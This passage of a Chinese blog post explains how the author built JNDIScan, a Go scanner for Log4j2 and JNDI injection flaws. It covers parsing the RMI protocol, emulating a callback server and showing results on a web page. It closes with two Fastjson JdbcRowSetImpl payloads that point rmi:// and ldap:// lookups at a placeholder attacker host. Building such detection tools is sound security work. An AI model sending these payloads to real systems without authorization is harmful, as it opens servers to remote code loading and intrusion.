(3)Client -> Server
接下来客户端会向服务端发送如下的数据,报文如下
0000 00 0b 31 39 32 2e 31 36 38 2e 31 2e 34 00 00 00 ..192.168.1.4... 0010 00
.
其中0b
表示一个内网地址长度,正好是192.168.1.4
,其余部分用00填充
于是想到这里的地址是否可以伪造
(4)Server -> Client
接下来服务端需要向客户端传一个空(至关重要)
(5)Client -> Server
下一步是客户端继续向服务端发送,报文以0x50
开头,表示call
操作
Call: 0x50 CallData
报文如下,开头的aced0005
是经典序列化数据头,结尾的jlmz6v
是我们需要的路径参数
0000 50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00 P....w"......... 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020 02 44 15 4d c9 d4 e6 3b df 74 00 06 6a 6c 6d 7a .D.M...;.t..jlmz 0030 36 76 6v
现在问题来了,这是什么类的序列化数据
想办法对这个数据进行反序列化,发现报错
byte[] data = new byte[]{ (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x77, (byte)0x22, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x02, (byte)0x44, (byte)0x15, (byte)0x4d, (byte)0xc9, (byte)0xd4, (byte)0xe6, (byte)0x3b, (byte)0xdf, (byte)0x74, (byte)0x00, (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76 }; ByteArrayInputStream is = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(is); Object obj = ois.readObject(); ois.close(); System.out.println(obj);
在尝试研究后,发现这个序列化数据类似String
byte[] data = new byte[]{ (byte)0xac, (byte)0xed, (byte)0x00, (byte)0x05, (byte)0x74, (byte)0x00, (byte)0x06, (byte)0x6a, (byte)0x6c, (byte)0x6d, (byte)0x7a, (byte)0x36, (byte)0x76 }; ByteArrayInputStream is = new ByteArrayInputStream(data); ObjectInputStream ois = new ObjectInputStream(is); Object obj = ois.readObject(); ois.close(); // 打印:jlmz6v System.out.println(obj);
发现字符串数据位于末尾,且之前有一个表示长度的字节,如这里06 6a 6c 6d 7a
的06
表示jlmz6v
长度为6
因此能否从后往前读,如果已读到的长度等于当前读到的字节代表的数字,那么认为已读到的字符串翻转后是路径参数
(这种手段也许会有误报,但由于字母的ASCII码数值很大,所以大概率不会出问题)
(6)实现
首先根据第一步判断是否为RMI
协议
func checkRMI(data []byte) bool { if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 { if data[4] != 0x00 { return false } // 0x01是官方规定的 0x02是实际抓包的结果 // 所以可以认为0x01和0x02都为RMI协议 if data[5] != 0x01 && data[5] != 0x02 { return false } if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d { return false } lastData := data[7:] for _, v := range lastData { if v != 0x00 { return false } } return true } return false }
进一步获取路径参数比较麻烦
if checkRMI(buf) { // 需要发的数据(这里模拟了127.0.0.1) // 实际上这个数据可以随意模拟 // 只要保证4e00开头 data := []byte{ 0x4e, 0x00, 0x09, 0x31, 0x32, 0x37, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x00, 0x00, 0xc4, 0x12, } _, _ = (*conn).Write(data) // 这里读到的数据没有用处 _, _ = (*conn).Read(buf) // 需要发一次空数据然后接收call信息 _, _ = (*conn).Write([]byte{}) _, _ = (*conn).Read(buf) var dataList []byte flag := false // 从后往前读因为空都是00 for i := len(buf) - 1; i >= 0; i-- { // 这里要用一个flag来区分 // 因为正常数据中也会含有00 if buf[i] != 0x00 || flag { flag = true dataList = append(dataList, buf[i]) } } // 拿到翻转路径索引 // 原理在上文已写: // 已读到的长度等于当前读到的字节代表的数字 // 那么认为已读到的字符串翻转后是路径参数 var j int for i := 0; i < len(dataList); i++ { if int(dataList[i]) == i { j = i } } // 拿到翻转路径参数 temp := dataList[0:j] pathBytes := &bytes.Buffer{} // 翻转后拿到真正的路径参数 for i := len(temp) - 1; i >= 0; i-- { pathBytes.Write([]byte{dataList[i]}) } ... _ = (*conn).Close() return }
其他
最后分享一些简单的安全开发技术,对于想自己写安全工具师傅可能会有帮助
监听Socket收到的结果如何传递记录
构造一个非阻塞channel
用于传输(给出默认长度就不阻塞了)
ResultChan = make(chan *model.Result, 100)
收到LDAP
或RMI
请求后将数据输入channel
// LDAP if "300c020101600702010304008000" == hexStr { // 记录数据 res := &model.Result{ Host: (*conn).RemoteAddr().String(), Name: "LDAP", Finger: hexStr, } // 数据输入channel ResultChan <- res }
这时候其他的goroutine
就可以取到channel
中的结果
for { select { // 从channel中取到结果 case res := <-ResultChan: // 输出结果 info := fmt.Sprintf("%s->%s", res.Name, res.Host) log.Info("log4j2 detected") log.Info(info) // 第二个问题 RenderChan <- res } }
如何将结果传递给web页面
上面这个问题最后将结果放入了一个新的channel
RenderChan <- res
在开启web服务的时候,建一个goroutine
用于接收这个数据
var ( // 新channel的指针 resultList []*model.Result // 为什么要上锁参考下一个问题 lock sync.Mutex ) func StartHttpServer(renderChan *chan *model.Result) { log.Info("start result http server") // 开启web服务 mux := http.NewServeMux() mux.Handle(config.DefaultHttpPath, &resultHandler{}) server := &http.Server{ Addr: fmt.Sprintf(":%d", config.HttpPort), WriteTimeout: config.DefaultHttpTimeout, Handler: mux, } // 负责接收实时数据 go listenData(renderChan) _ = server.ListenAndServe() } func listenData(renderChan *chan *model.Result) { for { select { case res := <-*renderChan: // 申请锁 // 为什么要上锁参考下一个问题 lock.Lock() // 将结果加入到list中 resultList = append(resultList, res) lock.Unlock() } } }
如何做到web页面实时显示
上一个问题涉及到了互斥锁,正是为了解决这个问题
接收到请求会在Handler
的ServeHTTP
中处理,上文中维护的全局列表在实时地添加最新扫描结果,如果这里直接取全局列表会出现并发问题,所以选用了互斥锁(也有其他的解决方案这种最简单)
type resultHandler struct { } func (handler *resultHandler) ServeHTTP(w http.ResponseWriter, _ *http.Request) { // 申请锁 lock.Lock() // 根据当前list中的结果返回 _, _ = w.Write(RenderHtml(resultList)) lock.Unlock() }
如何让前端实时刷新:首先想到的是Ajax
定时请求插入新的数据,实现起来麻烦
于是想到暴力办法,定时刷新页面
<script> function fresh() { window.location.reload(); } setTimeout('fresh()',3000); </script>
总结
项目地址:https://github.com/EmYiQing/JNDIScan
由于一些原因,木头师傅要求我在项目中删除了他的ID,但木头师傅在该项目中的贡献不可否认。由于同样的原因,我不得不删除其中的动态web页面,转为生成本地的html
文件。做安全真难,写个工具都不能安稳
最后我将项目名称从Log4j2Scan
改为JNDIScan
并加入了一些小功能
- 自动获取内网和外网的IP,方便用户直接使用
- 添加路径外带参数的功能,方面批量扫描(使用UUID等方式来确认漏洞)
最后,该项目不仅可用于Log4j2
的扫描,也可用于Fastjson
等可能存在JDNI
注入漏洞组件的扫描
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://your-ip:port/xxx", "autoCommit": true } { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://your-ip:port/params", "autoCommit": true }